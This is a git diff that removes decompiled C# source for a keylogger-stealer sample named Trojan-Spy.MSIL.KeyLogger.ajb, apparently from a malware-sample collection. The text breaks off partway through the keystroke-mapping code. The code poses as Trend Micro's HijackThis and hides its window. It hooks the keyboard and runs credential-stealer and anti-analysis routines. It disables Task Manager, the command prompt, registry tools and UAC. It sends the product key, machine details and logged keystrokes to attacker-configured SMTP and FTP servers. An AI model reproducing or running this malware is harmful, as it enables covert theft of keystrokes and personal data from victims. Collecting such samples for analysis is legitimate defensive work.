b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/AssemblyInfo.cs deleted file mode 100644 index c44ba711..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("Hijack This")] -[assembly: AssemblyTitle("Hijack This")] -[assembly: AssemblyCopyright("© 2007 Trend Micro Inc")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCompany("Trend Micro Inc")] -[assembly: AssemblyDescription("Hijack This")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyFileVersion("2.00.000.2")] -[assembly: Guid("10e87a08-b620-4f3d-bd5d-1a68ec17bd41")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("2.0.0.2")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.cs deleted file mode 100644 index 7b27e5dc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.cs +++ /dev/null @@ -1,2545 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.Form1 -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using AHSJKHwyIUYUIYIYI8sOIioOID.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - [AccessedThroughProperty("ztext")] - private TextBox _ztext; - private string Nelu1uiJamiGLOE2mvPt; - private string[] XPPlmeeQxj5EmuZpmFhv; - private const string XfE5GMqJlmdlAfPPSsrK = "a9h68ZIONTRW96gW0op1J"; - private string iGUGqtFVo3Sb2I3PjRTb; - private string G05Q8driMmLxiCj3LykA; - private string Z8jhi1VLpyIBs811P9hh; - private string xozlq1rCdjmBfQkUw41e; - private string BaF8wJ4EOTqEDOhTgvB5; - private string godc6a5KIkKuSNYLafVd; - private string gqYQ5f5zs26SNsYELgWb; - private string b5Vw7rrguYMSSfXOEB5Q; - private string P9myNMan6k5igb0hVq4G; - private string a3R8hzFEAHNWAWnaOJxz0; - private string JHAP31B2JwG0SQ2NvtYw; - private string NdJnxPlGOMsUWLgkK3lV; - private string E66huKgHLzIwWwNxSNbJ; - private string wnJYMhylNYngywzYUlQk; - private string myY9aYW6AdutlP8DAUnN; - private string UK4WmDueeXbD1rbnmSO6; - private string ulRe7QX9l5wyaXGvmVXO; - private string dnNymFuFtA8K1Vu7KUGP; - private string nkdLnaNvys1cThHSURh9; - private string drCpFfKGVlcmm4BbWDaB; - private string LzH8BeS1gYj0xcWTXZsd; - private string a98IvH059PIVkHN6fLYqb; - private string gQ6Lln84OP3I0l41ZEpn; - private string dR7hJ9OQR8JuLX60TqOp; - private string iAs34n4atf4AnzG71Bgw; - private string a6zPFCgoeSCFtcbDB2qJl; - private string SzLWEQQH9aoPrufxF5RC; - private string a5SHvYkc7rxcWZtfSc3x6; - private string Yj9ZaLO9Hv8PRfghSZyG; - private string a2bG0oXKfTJqTYXedDaXQ; - private string Uy9C4leb50UWUQUQ4lvl; - private string xg40VoU0GnyYvZtP0W41; - private string xbtqTJX2nBKzM7HA5txo; - private string YiUyVU9sZAGxvITwmp4S; - private string a6Jd74rJe9CGEahr2zgAU; - private string iwHNx37l2ldn0GNZrLgu; - private string kfSWcun3hjknEFuQZlZx; - private string a2U44EyiQg4Kymr2QQ5lJ; - private string xEkuITaLQIMQ9zifbQ9V; - private string dqv4phRjzHGH0UyQobQF; - private string iJrlB1DcdCxRCe356PJ7; - private string sXRVR1YTfljVps0I5oPb; - private string fv5cGBYRaIeRph7Vplbl; - private string HRtANFi0K2JBDzWDTxE6; - private string iBfF08vFzdNBJ6o4zZyd; - private string a9vznQ8Nh284TDhIWliaz; - private string xA5K1BzLEIOEjgipgNqX; - private string dSai89gbJkSU4b1WW9CW; - private string cEhQYpIOzoNaFpKaefSd; - private string qweqw545sa4d798wqe; - private string UxNMTN2VJWMHohFePcTT; - private string PkyzKHPw64vpdz0xsKYc; - private TextBox extension1; - private TextBox extension2; - private TextBox extensions1; - private TextBox extensions2; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private string a9DdJBo73qIGZ3bZwRhMt; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.qweqw545sa4d798wqe = Path.GetFileName(Application.ExecutablePath); - this.UxNMTN2VJWMHohFePcTT = "1"; - this.PkyzKHPw64vpdz0xsKYc = "1"; - this.extension1 = new TextBox(); - this.extension2 = new TextBox(); - this.extensions1 = new TextBox(); - this.extensions2 = new TextBox(); - this.kbHook = new Form1.KeyboardHook(); - this.a9DdJBo73qIGZ3bZwRhMt = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.ztext = new TextBox(); - this.SuspendLayout(); - this.ztext.Location = new Point(1, -10); - this.ztext.Multiline = true; - this.ztext.Name = "ztext"; - this.ztext.ReadOnly = true; - TextBox ztext = this.ztext; - Size size1 = new Size(10, 10); - Size size2 = size1; - ztext.Size = size2; - this.ztext.TabIndex = 0; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(10, 10); - this.ClientSize = size1; - this.Controls.Add((Control) this.ztext); - this.FormBorderStyle = FormBorderStyle.None; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - internal virtual TextBox ztext - { - [DebuggerNonUserCode] get => this._ztext; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ztext = value; - } - - private void Form1_Load(object sender, EventArgs e) - { - Stealers.a3a5BUuMotnLNQr4ppdR3(); - Stealers.eZM1nfSwL2SqQ8rVRi4H(); - Stealers.HiMxBxbT13r5txdIgEpI(); - Stealers.EHW0zrPys1b9dmv0DQ8n(); - Stealers.zBiVxuA7UnDihC1BQuyH(); - Stealers.mxNwfsA9ms8UKfQfQOMG(); - this.Nelu1uiJamiGLOE2mvPt = System.IO.File.ReadAllText(Application.ExecutablePath); - this.XPPlmeeQxj5EmuZpmFhv = Strings.Split(this.Nelu1uiJamiGLOE2mvPt, "a9h68ZIONTRW96gW0op1J"); - this.iGUGqtFVo3Sb2I3PjRTb = this.drCpFfKGVlcmm4BbWDaB; - this.G05Q8driMmLxiCj3LykA = this.LzH8BeS1gYj0xcWTXZsd; - this.Z8jhi1VLpyIBs811P9hh = this.a98IvH059PIVkHN6fLYqb; - this.xozlq1rCdjmBfQkUw41e = this.gQ6Lln84OP3I0l41ZEpn; - this.BaF8wJ4EOTqEDOhTgvB5 = this.dR7hJ9OQR8JuLX60TqOp; - this.godc6a5KIkKuSNYLafVd = this.iAs34n4atf4AnzG71Bgw; - this.gqYQ5f5zs26SNsYELgWb = this.a6zPFCgoeSCFtcbDB2qJl; - this.b5Vw7rrguYMSSfXOEB5Q = this.SzLWEQQH9aoPrufxF5RC; - this.P9myNMan6k5igb0hVq4G = this.a5SHvYkc7rxcWZtfSc3x6; - this.a3R8hzFEAHNWAWnaOJxz0 = this.Yj9ZaLO9Hv8PRfghSZyG; - this.JHAP31B2JwG0SQ2NvtYw = this.a2bG0oXKfTJqTYXedDaXQ; - this.NdJnxPlGOMsUWLgkK3lV = this.Uy9C4leb50UWUQUQ4lvl; - this.E66huKgHLzIwWwNxSNbJ = this.xg40VoU0GnyYvZtP0W41; - this.wnJYMhylNYngywzYUlQk = this.xbtqTJX2nBKzM7HA5txo; - this.myY9aYW6AdutlP8DAUnN = this.YiUyVU9sZAGxvITwmp4S; - this.UK4WmDueeXbD1rbnmSO6 = this.a6Jd74rJe9CGEahr2zgAU; - this.ulRe7QX9l5wyaXGvmVXO = this.iwHNx37l2ldn0GNZrLgu; - this.dnNymFuFtA8K1Vu7KUGP = this.kfSWcun3hjknEFuQZlZx; - this.nkdLnaNvys1cThHSURh9 = this.a2U44EyiQg4Kymr2QQ5lJ; - this.extension1.Text = this.XPPlmeeQxj5EmuZpmFhv[1]; - this.extension2.Text = this.XPPlmeeQxj5EmuZpmFhv[2]; - this.a98IvH059PIVkHN6fLYqb = this.XPPlmeeQxj5EmuZpmFhv[3]; - this.gQ6Lln84OP3I0l41ZEpn = this.XPPlmeeQxj5EmuZpmFhv[4]; - this.dR7hJ9OQR8JuLX60TqOp = this.XPPlmeeQxj5EmuZpmFhv[5]; - this.extensions1.Text = this.XPPlmeeQxj5EmuZpmFhv[6]; - this.extensions2.Text = this.XPPlmeeQxj5EmuZpmFhv[7]; - this.SzLWEQQH9aoPrufxF5RC = this.XPPlmeeQxj5EmuZpmFhv[8]; - this.a5SHvYkc7rxcWZtfSc3x6 = this.XPPlmeeQxj5EmuZpmFhv[9]; - this.Yj9ZaLO9Hv8PRfghSZyG = this.XPPlmeeQxj5EmuZpmFhv[10]; - this.a2bG0oXKfTJqTYXedDaXQ = this.XPPlmeeQxj5EmuZpmFhv[11]; - this.Uy9C4leb50UWUQUQ4lvl = this.XPPlmeeQxj5EmuZpmFhv[12]; - this.xg40VoU0GnyYvZtP0W41 = this.XPPlmeeQxj5EmuZpmFhv[13]; - this.xbtqTJX2nBKzM7HA5txo = this.XPPlmeeQxj5EmuZpmFhv[14]; - this.YiUyVU9sZAGxvITwmp4S = this.XPPlmeeQxj5EmuZpmFhv[15]; - this.a6Jd74rJe9CGEahr2zgAU = this.XPPlmeeQxj5EmuZpmFhv[16]; - this.iwHNx37l2ldn0GNZrLgu = this.XPPlmeeQxj5EmuZpmFhv[17]; - this.kfSWcun3hjknEFuQZlZx = this.XPPlmeeQxj5EmuZpmFhv[18]; - this.a2U44EyiQg4Kymr2QQ5lJ = this.XPPlmeeQxj5EmuZpmFhv[19]; - if (Conversions.ToBoolean(this.Yj9ZaLO9Hv8PRfghSZyG)) - { - this.PeUvHMK6JhO2FrK2E2PA(); - Antis.qwejJAUiewuoqo1u3oi12312(); - Antis.SHOSHARKZ(); - Antis.Shipost(); - Antis.Sheperskyz(); - Antis.Shibender(); - Antis.Shuwalarm(); - Antis.wiIUQO1KLLAIowuEO2KOAA(); - Antis.Shunurmanizkabardiz(); - Antis.nodrezspedtretodez(); - Antis.shuberbytizkeberdizdie(); - Antis.shulabeldebiskeberidiz(); - Antis.vpzkabarzidikoborzi(); - Antis.kuburdivimarekuburziger(); - Antis.vellokobarxzikobordi(); - Antis.shardabihardraviekorvadikemberdi(); - Antis.Shumarnizkeabardizimulatorizkoborzi(); - } - if (Conversions.ToBoolean(this.a2bG0oXKfTJqTYXedDaXQ)) - { - try - { - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", (object) "1", RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.Uy9C4leb50UWUQUQ4lvl)) - { - try - { - Interaction.Shell("REG add HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f", AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.xg40VoU0GnyYvZtP0W41)) - { - try - { - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", (object) "1", RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.xbtqTJX2nBKzM7HA5txo)) - { - try - { - Form1.CLcGej61sAOadow3o7J1(this.qweqw545sa4d798wqe, Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.YiUyVU9sZAGxvITwmp4S)) - { - try - { - this.XEqcJbhViQGgS7eTUucl(this.qweqw545sa4d798wqe); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.a6Jd74rJe9CGEahr2zgAU)) - { - try - { - this.buNcDHzIpxpI8Avedgn1(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.iwHNx37l2ldn0GNZrLgu)) - { - try - { - Interaction.Shell("REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.kfSWcun3hjknEFuQZlZx)) - { - try - { - Interaction.Shell("REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.Timer1.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.a98IvH059PIVkHN6fLYqb) * 60.0 * 1000.0))); - this.a98IvH059PIVkHN6fLYqb = Conversions.ToString(this.Timer1.Interval); - this.Timer3.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.a5SHvYkc7rxcWZtfSc3x6) * 60.0 * 1000.0))); - this.a5SHvYkc7rxcWZtfSc3x6 = Conversions.ToString(this.Timer3.Interval); - this.Timer1.Start(); - this.Timer2.Start(); - this.Timer3.Start(); - this.OacRuTnZTCtnV75xPaQV(); - } - - public void OacRuTnZTCtnV75xPaQV() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (!Conversions.ToBoolean(this.a2U44EyiQg4Kymr2QQ5lJ)) - goto label_55; -label_2: - num3 = 3; - string text1 = this.extension1.Text; -label_3: - num3 = 4; - this.drCpFfKGVlcmm4BbWDaB = Form1.rc4(text1, "qwerty"); -label_4: - num3 = 5; - string text2 = this.extension2.Text; -label_5: - num3 = 6; - this.LzH8BeS1gYj0xcWTXZsd = Form1.rc4(text2, "qwerty1"); -label_6: - num3 = 7; - string text3 = this.extensions1.Text; -label_7: - num3 = 8; - this.iAs34n4atf4AnzG71Bgw = Form1.rc4(text3, "qwerty"); -label_8: - num3 = 9; - string text4 = this.extensions2.Text; -label_9: - num3 = 10; - this.a6zPFCgoeSCFtcbDB2qJl = Form1.rc4(text4, "qwerty1"); -label_10: - num3 = 11; - this.iJrlB1DcdCxRCe356PJ7 = Stealers.PObuCQy99zk1pRyNfeNs(); -label_11: - num3 = 12; - this.xEkuITaLQIMQ9zifbQ9V = "OS Product Key -->>" + Stealers.tMvSzZe55uXc2iyPe887("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\", "DigitalProductId") + " "; -label_12: - num3 = 13; - WebClient webClient = new WebClient(); -label_13: - num3 = 14; - string str1 = "Victim's Ip: -->" + webClient.DownloadString("http://www.showmyip.com/simple") + " "; -label_14: - num3 = 15; - this.dqv4phRjzHGH0UyQobQF = str1; -label_15: - num3 = 16; - this.sXRVR1YTfljVps0I5oPb = "MACHINE NAME: -->" + Environment.MachineName + " "; -label_16: - num3 = 17; - this.fv5cGBYRaIeRph7Vplbl = "SYSTEM USERNAME: --> " + Environment.UserName + " "; -label_17: - num3 = 18; - this.HRtANFi0K2JBDzWDTxE6 = "OS NAME: -->" + MyProject.Computer.Info.OSFullName + " "; -label_18: - num3 = 19; - this.iBfF08vFzdNBJ6o4zZyd = "OS PLATFORM: -->" + MyProject.Computer.Info.OSPlatform + " "; -label_19: - num3 = 20; - this.a9vznQ8Nh284TDhIWliaz = "OS VERSION: -->" + MyProject.Computer.Info.OSVersion + " "; -label_20: - num3 = 21; - this.xA5K1BzLEIOEjgipgNqX = "INSTALLED UI CULTURE: -->" + MyProject.Computer.Info.InstalledUICulture.ToString() + " "; -label_21: - num3 = 22; - MailMessage message = new MailMessage(); -label_22: - num3 = 23; - message.From = new MailAddress(this.drCpFfKGVlcmm4BbWDaB); -label_23: - num3 = 24; - message.To.Add(this.drCpFfKGVlcmm4BbWDaB); -label_24: - num3 = 25; - message.Subject = "Public Lonely Logger Version 1.0 Stealer Logs."; -label_25: - num3 = 26; - message.Body = this.dqv4phRjzHGH0UyQobQF + this.xEkuITaLQIMQ9zifbQ9V + this.iJrlB1DcdCxRCe356PJ7 + this.sXRVR1YTfljVps0I5oPb + this.fv5cGBYRaIeRph7Vplbl + this.HRtANFi0K2JBDzWDTxE6 + this.iBfF08vFzdNBJ6o4zZyd + this.a9vznQ8Nh284TDhIWliaz + this.xA5K1BzLEIOEjgipgNqX + this.ztext.Text; -label_26: - num3 = 27; - SmtpClient smtpClient = new SmtpClient(this.gQ6Lln84OP3I0l41ZEpn); -label_27: - num3 = 28; - smtpClient.Port = Conversions.ToInteger(this.dR7hJ9OQR8JuLX60TqOp); -label_28: - num3 = 29; - smtpClient.EnableSsl = true; -label_29: - num3 = 30; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.drCpFfKGVlcmm4BbWDaB, this.LzH8BeS1gYj0xcWTXZsd); -label_30: - num3 = 31; - smtpClient.Send(message); -label_31: - ProjectData.ClearProjectError(); - num1 = -3; -label_32: - num3 = 33; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create("ftp://" + this.SzLWEQQH9aoPrufxF5RC + "/Public Lonely Logger Version 1.0 Stealer And Victim's Information Logs" + this.PkyzKHPw64vpdz0xsKYc + ".txt"); -label_33: - num3 = 34; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.iAs34n4atf4AnzG71Bgw, this.a6zPFCgoeSCFtcbDB2qJl); -label_34: - num3 = 35; - ftpWebRequest.Method = "STOR"; -label_35: - num3 = 36; - string str2 = this.dqv4phRjzHGH0UyQobQF + this.iJrlB1DcdCxRCe356PJ7 + this.xEkuITaLQIMQ9zifbQ9V + this.sXRVR1YTfljVps0I5oPb + this.fv5cGBYRaIeRph7Vplbl + this.HRtANFi0K2JBDzWDTxE6 + this.a9vznQ8Nh284TDhIWliaz + this.xA5K1BzLEIOEjgipgNqX + this.ztext.Text; -label_36: - num3 = 37; - FileStream fileStream = new FileStream("C:\\WINDOWS\\" + this.PkyzKHPw64vpdz0xsKYc, FileMode.Create, FileAccess.Write); -label_37: - num3 = 38; - StreamWriter streamWriter = new StreamWriter((Stream) fileStream); -label_38: - num3 = 39; - streamWriter.BaseStream.Seek(0L, SeekOrigin.End); -label_39: - num3 = 40; - streamWriter.WriteLine(str2); -label_40: - num3 = 41; - streamWriter.Close(); -label_41: - num3 = 42; - byte[] buffer = System.IO.File.ReadAllBytes("C:\\WINDOWS\\" + this.PkyzKHPw64vpdz0xsKYc); -label_42: - num3 = 43; - Stream requestStream = ftpWebRequest.GetRequestStream(); -label_43: - num3 = 44; - requestStream.Write(buffer, 0, buffer.Length); -label_44: - num3 = 45; - requestStream.Close(); -label_45: - num3 = 46; - requestStream.Dispose(); -label_46: - num3 = 47; - string path = "C:\\WINDOWS\\" + this.PkyzKHPw64vpdz0xsKYc; -label_47: - num3 = 48; - System.IO.File.Delete(path); -label_48: - num3 = 49; - this.PkyzKHPw64vpdz0xsKYc = Conversions.ToString(Conversions.ToDouble(this.PkyzKHPw64vpdz0xsKYc) + 1.0); - goto label_55; -label_50: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_25; - case 27: - goto label_26; - case 28: - goto label_27; - case 29: - goto label_28; - case 30: - goto label_29; - case 31: - goto label_30; - case 32: - goto label_31; - case 33: - goto label_32; - case 34: - goto label_33; - case 35: - goto label_34; - case 36: - goto label_35; - case 37: - goto label_36; - case 38: - goto label_37; - case 39: - goto label_38; - case 40: - goto label_39; - case 41: - goto label_40; - case 42: - goto label_41; - case 43: - goto label_42; - case 44: - goto label_43; - case 45: - goto label_44; - case 46: - goto label_45; - case 47: - goto label_46; - case 48: - goto label_47; - case 49: - goto label_48; - case 50: - case 51: - goto label_55; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_50; - } - throw ProjectData.CreateProjectError(-2146828237); -label_55: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.shiftandcaps); - if (this._kbHook != null) - Form1.KeyboardHook.KeyDown -= downEventHandler; - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public void shiftandcaps(Keys Key) - { - if (!MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.Tab: - this.dSai89gbJkSU4b1WW9CW += "[TAB]"; - break; - case Keys.Return: - this.dSai89gbJkSU4b1WW9CW += "\r\n"; - break; - case Keys.Escape: - this.dSai89gbJkSU4b1WW9CW += "[ESC]"; - break; - case Keys.Space: - this.dSai89gbJkSU4b1WW9CW += " "; - break; - case Keys.End: - this.dSai89gbJkSU4b1WW9CW += "[END]"; - break; - case Keys.Left: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Up: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Right: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Down: - this.dSai89gbJkSU4b1WW9CW += "?"; - break; - case Keys.Delete: - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW.Remove(checked (this.dSai89gbJkSU4b1WW9CW.Length - 1), 1); - break; - case Keys.D0: - this.dSai89gbJkSU4b1WW9CW += "0"; - break; - case Keys.D1: - this.dSai89gbJkSU4b1WW9CW += "1"; - break; - case Keys.D2: - this.dSai89gbJkSU4b1WW9CW += "2"; - break; - case Keys.D3: - this.dSai89gbJkSU4b1WW9CW += "3"; - break; - case Keys.D4: - this.dSai89gbJkSU4b1WW9CW += "4"; - break; - case Keys.D5: - this.dSai89gbJkSU4b1WW9CW += "5"; - break; - case Keys.D6: - this.dSai89gbJkSU4b1WW9CW += "6"; - break; - case Keys.D7: - this.dSai89gbJkSU4b1WW9CW += "7"; - break; - case Keys.D8: - this.dSai89gbJkSU4b1WW9CW += "8"; - break; - case Keys.D9: - this.dSai89gbJkSU4b1WW9CW += "9"; - break; - case Keys.A: - this.dSai89gbJkSU4b1WW9CW += "a"; - break; - case Keys.B: - this.dSai89gbJkSU4b1WW9CW += "b"; - break; - case Keys.C: - this.dSai89gbJkSU4b1WW9CW += "c"; - break; - case Keys.D: - this.dSai89gbJkSU4b1WW9CW += "d"; - break; - case Keys.E: - this.dSai89gbJkSU4b1WW9CW += "e"; - break; - case Keys.F: - this.dSai89gbJkSU4b1WW9CW += "f"; - break; - case Keys.G: - this.dSai89gbJkSU4b1WW9CW += "g"; - break; - case Keys.H: - this.dSai89gbJkSU4b1WW9CW += "h"; - break; - case Keys.I: - this.dSai89gbJkSU4b1WW9CW += "i"; - break; - case Keys.J: - this.dSai89gbJkSU4b1WW9CW += "j"; - break; - case Keys.K: - this.dSai89gbJkSU4b1WW9CW += "k"; - break; - case Keys.L: - this.dSai89gbJkSU4b1WW9CW += "l"; - break; - case Keys.M: - this.dSai89gbJkSU4b1WW9CW += "m"; - break; - case Keys.N: - this.dSai89gbJkSU4b1WW9CW += "n"; - break; - case Keys.O: - this.dSai89gbJkSU4b1WW9CW += "o"; - break; - case Keys.P: - this.dSai89gbJkSU4b1WW9CW += "p"; - break; - case Keys.Q: - this.dSai89gbJkSU4b1WW9CW += "q"; - break; - case Keys.R: - this.dSai89gbJkSU4b1WW9CW += "r"; - break; - case Keys.S: - this.dSai89gbJkSU4b1WW9CW += "s"; - break; - case Keys.T: - this.dSai89gbJkSU4b1WW9CW += "t"; - break; - case Keys.U: - this.dSai89gbJkSU4b1WW9CW += "u"; - break; - case Keys.V: - this.dSai89gbJkSU4b1WW9CW += "v"; - break; - case Keys.W: - this.dSai89gbJkSU4b1WW9CW += "w"; - break; - case Keys.X: - this.dSai89gbJkSU4b1WW9CW += "x"; - break; - case Keys.Y: - this.dSai89gbJkSU4b1WW9CW += "y"; - break; - case Keys.Z: - this.dSai89gbJkSU4b1WW9CW += "z"; - break; - case Keys.NumPad0: - this.dSai89gbJkSU4b1WW9CW += "0"; - break; - case 